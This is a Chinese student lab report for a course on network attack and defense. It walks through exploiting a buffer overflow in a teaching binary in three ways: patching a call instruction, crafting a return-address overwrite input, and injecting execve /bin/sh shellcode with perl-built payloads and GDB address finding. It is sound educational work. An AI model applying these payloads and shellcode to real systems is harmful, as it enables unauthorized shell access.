20232315 2025-2026-1 《网络与系统攻防技术》实验一实验报告

实验基本信息

  1. 实验环境:Kali Linux虚拟机 + VMware Workstation

  2. 实验工具:GDB,objdump等

  3. 实验对象:pwn20232315(存在缓冲区溢出漏洞的Linux可执行文件)

  4. 实验时间:2025.10.8

目录

  1. 实验目的

  2. 实验内容

  3. 实验要求

  4. 实验过程

  5. 问题及解决方案

  6. 实验感想

一、实验目的

  • 本实验旨在通过三种不同的技术手段,利用pwn20232315程序中的缓冲区溢出漏洞,执行原本不可访问的getShell代码片段,深入理解缓冲区溢出攻击原理

二、实验内容

  1. 缓冲区溢出核心原理

    • 核心思想:向一个固定大小的缓冲区(如字符数组)写入超量数据,超出边界的数据会覆盖相邻的内存区域

    • 攻击关键:覆盖函数返回地址。当函数执行完毕时,CPU会从栈中取出这个地址并跳转执行。如果该地址被恶意数据覆盖,就能劫持程序控制流

  2. 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

    • 注入一个自己制作的shellcode并运行这段shellcode

三、实验要求

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  2. 掌握反汇编与十六进制编程器

  3. 能正确修改机器指令改变程序执行流程

  4. 能正确构造payload进行bof攻击

四、实验过程

  • pwn20232315正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串

1

(一)手工修改可执行文件

1. 原理

通过二进制编辑工具直接修改 pwn20232315 文件中 call foo 的机器指令,将其目标地址改为 getShell 函数的地址,从而在程序正常执行时即跳转到目标函数

2. 实践步骤

(1)反汇编分析

使用 objdump -d pwn20232315 | more 定位 main, foo, getShell 函数的地址及 call 指令的机器码

屏幕截图 2025-10-13 092301

(2)计算偏移

理解 call 指令使用相对偏移寻址的原理,计算从 call 指令下一条地址到 getShell 的新偏移量

  • 由上图可知,getShell地址是0x804847d,foo地址为0x8048491

  • 对于 e8 call 这类指令,CPU 执行时:

    • 读取完整的 5 字节指令 e8 xx xx xx xx

    • 此时 EIP 已经指向下一条指令的地址(即 call 指令的地址 + 5)

    • 跳转目标地址 = EIP + 偏移量(偏移量是 32 位有符号整数)

  • 从foo函数在main中的执行的机器指令(e8 d7 ff ff ff ff)和汇编指令(call 8048491)来看

    • 下一条指令地址:EIP = 0x80484ba

    • 偏移量(机器码 d7ffffff,小端字节序 → 0xffffffd7,有符号十六进制:0xffffffd7 是负数,十进制是 -41)

    • 目标地址 = 0x80484ba + (-41) = 0x80484ba - 0x29 = 0x8048491(这就是 foo 的地址)

  • 同理,要让程序执行getShell,需要将机器指令中foo函数地址d7ffffff改成getShell对应的地址

    • 目标地址 = EIP + 偏移量 ----> 偏移量 = 目标地址 - EIP

    • 目标地址:0x804847d、EIP:0x80484ba

    • 偏移量机器码:0x804847d - 0x80484ba = -0x3d,即十进制的-61,转换为补码为0xffffffc3,小端排列:c3 ff ff ff

    • 所以原机器码 e8 d7 ff ff ff 改为 e8 c3 ff ff ff 就可以调用 getShell

(3)修改文件
  • 复制pwn20232315,创建副本pwn20232315_1

  • 在vi编辑器里修改pwn20232315_1文件,找到 call foo 对应的机器码 e8 d7 ff ff ff,将其中的偏移部分修改为计算得到的新值

cp pwn20232315 pwn20232315_1 //复制pwn程序
vi pwn20232315_1  //进入vi编辑器
//以下内容在编辑器中执行
//按ESC键
:%!xxd  //将显示模式切换为16进制模式
/e8 d7  //查找要修改的内容
//修改d7为c3
:%!xxd -r  //转换16进制为原格式
:wq  //保存并退出vi

屏幕截图 2025-10-13 103136

屏幕截图 2025-10-13 103334

屏幕截图 2025-09-29 165427

屏幕截图 2025-09-29 165640

  • 再次反汇编确认

屏幕截图 2025-09-29 165816

(4)验证

运行修改后的程序

屏幕截图 2025-10-13 104058

运行成功!程序启动后无需任何输入,直接执行 getShell 函数,获得系统shell

(二)构造攻击输入字符串

1. 原理

利用 foo 函数中 gets 输入函数不检查边界的安全缺陷,输入超长字符串覆盖栈上的函数返回地址,将其替换为 getShell 函数的地址。当 foo 函数执行 ret 指令时,程序将跳转到 getShell。

2. 实验步骤

(1)确认输入字符串哪几个字符会覆盖到返回地址
  • 使用循环字符(如 11111111222222223333333344444444)作为输入,通过GDB调试观察程序崩溃时的状态,确认存在缓冲区溢出

image

  • 观察各个寄存器的值,确定哪几个字节覆盖了返回地址

屏幕截图 2025-10-13 110128

由图可知EBP寄存器(指向调用者的栈帧)被覆盖为0x34343434(ASCII对应4444),EIP寄存器(指向下一条指令地址,即返回地址)被覆盖为0x35353535(ASCII对应5555),所以可以推断出输入1111111122222222333333334444444455555555从5555开始覆盖返回地址

  • 输入1111111122222222333333334444444412345678再次确认

屏幕截图 2025-09-29 171135

EIP寄存器的值被覆盖为0x34333231(ASCII对应1234),确认无误

(2)确认用什么值来覆盖返回地址并构造输入字符串
  • 用getShell的内存地址,通过反汇编时可以看到,即0804847d,小端序填入

  • 生成攻击文件,填入字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"
    生成文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    查看文件xxd input

屏幕截图 2025-10-13 112258

(3)验证

执行攻击

屏幕截图 2025-10-13 112311

成功执行!程序在回显输入后,没有返回到 main 函数,而是执行了 getShell,获得shell。

(三)注入shellcode

1. 原理

  • 向程序的缓冲区中注入一段能启动 /bin/sh 的机器代码(Shellcode),并通过缓冲区溢出将返回地址覆盖为这段Shellcode在内存中的起始地址。CPU在函数返回时,将转而执行我们注入的代码

  • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令

2. 实验步骤

(1)使用一段经过优化的、无空字节的23字节Linux x86 Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
(2)构造要注入的payload
  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,本实验中采用RNS结构

  • 构建攻击文件,定位shellcode地址

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 确定返回地址x4\x3\x2\x1应该填什么,先打开一个终端注入攻击
(cat input_shellcode;cat) | ./pwn20232315

image

  • 再打开另一个终端进行gdb调试,找到pwn20232315的进程号

image

  • 启动gdb调试这个进程

image

  • 设置断点,查看注入buf的内存地址

image

  • 在另外一个终端中按下回车,然后返回当前终端,查看寄存器地址

image

  • 由图可知,esp位置为0xffffd3cc,从这个位置开始查看内存地址

image

找到01020304(攻击文本中的特殊标记)了,shellcode就在旁边,即0xffffd3d0

  • 构造攻击载荷
    结构:其他 + 返回地址 + NOP雪橇 + shellcode
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

image

(3)验证攻击

执行攻击

image

成功!

五、问题及解决方案

(一)execstack问题

  1. 问题:execstack 工具在Kali Linux中缺失,无法方便地设置栈执行权限。后下载学习通上的工具仍旧无法成功安装

  2. 解决方案:本实验中execstack主要用于开启堆栈可执行,而实验用的 pwn20232315 程序本身未开启栈执行保护,或教学环境默认允许,故可能无需此工具,可跳过execstack工具安装,后续实验证明,这种方法可行

(二)栈地址差异

  1. 问题:在按照实验指导书进行实验时,我同样遇到了指导书上的问题
  • 进行gdb调试,找到shellcode地址

image

  • 问题攻击文件
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode 

image

  • 执行错误

image

  • 错误分析,gdb调试

image

由图可知此时esp地址为0xffffd3c0,与原本的0xffffd3cc有差别,询问AI得知是GDB调试环境与真实运行环境的栈地址存在差异,二第一次攻击脚本采用的结构是NSR,仅靠NOP雪橇无法应对大范围偏移
2. 解决方案:换用其他 + ret + nops + shellcode的结构构造攻击脚本,具体可见实验过程的注入shellcode攻击。

六、实验感想

  • 本次实验让我直观地体会了缓冲区溢出的攻击过程,以前只在理论上知道“栈溢出覆盖返回地址”,实验我通过GDB亲眼看到了栈帧的结构、返回地址的位置、以及它被一步步覆盖的过程,加深了我对这一部分知识点的理解与认知
  • 通过本次实验,我对x86汇编、机器指令有了进一步的理解与认识,同时也对系统底层有了进一步的接触
  • 本次实验中,我在execstack的安装上其实耗费了不少时间,虽然这看起来是个小问题。我尝试过AI给出的方法和老师同学推荐的方法都没有成功,但没想到这一步可以跳过,其实有点无语,不过这也说明有些难题看起来不可逾越,但换种思路,也许可以绕过。
  • 最后,记一下曾经看过的一句话——“缓冲区溢出攻击既是科学,也是艺术”。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936099.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!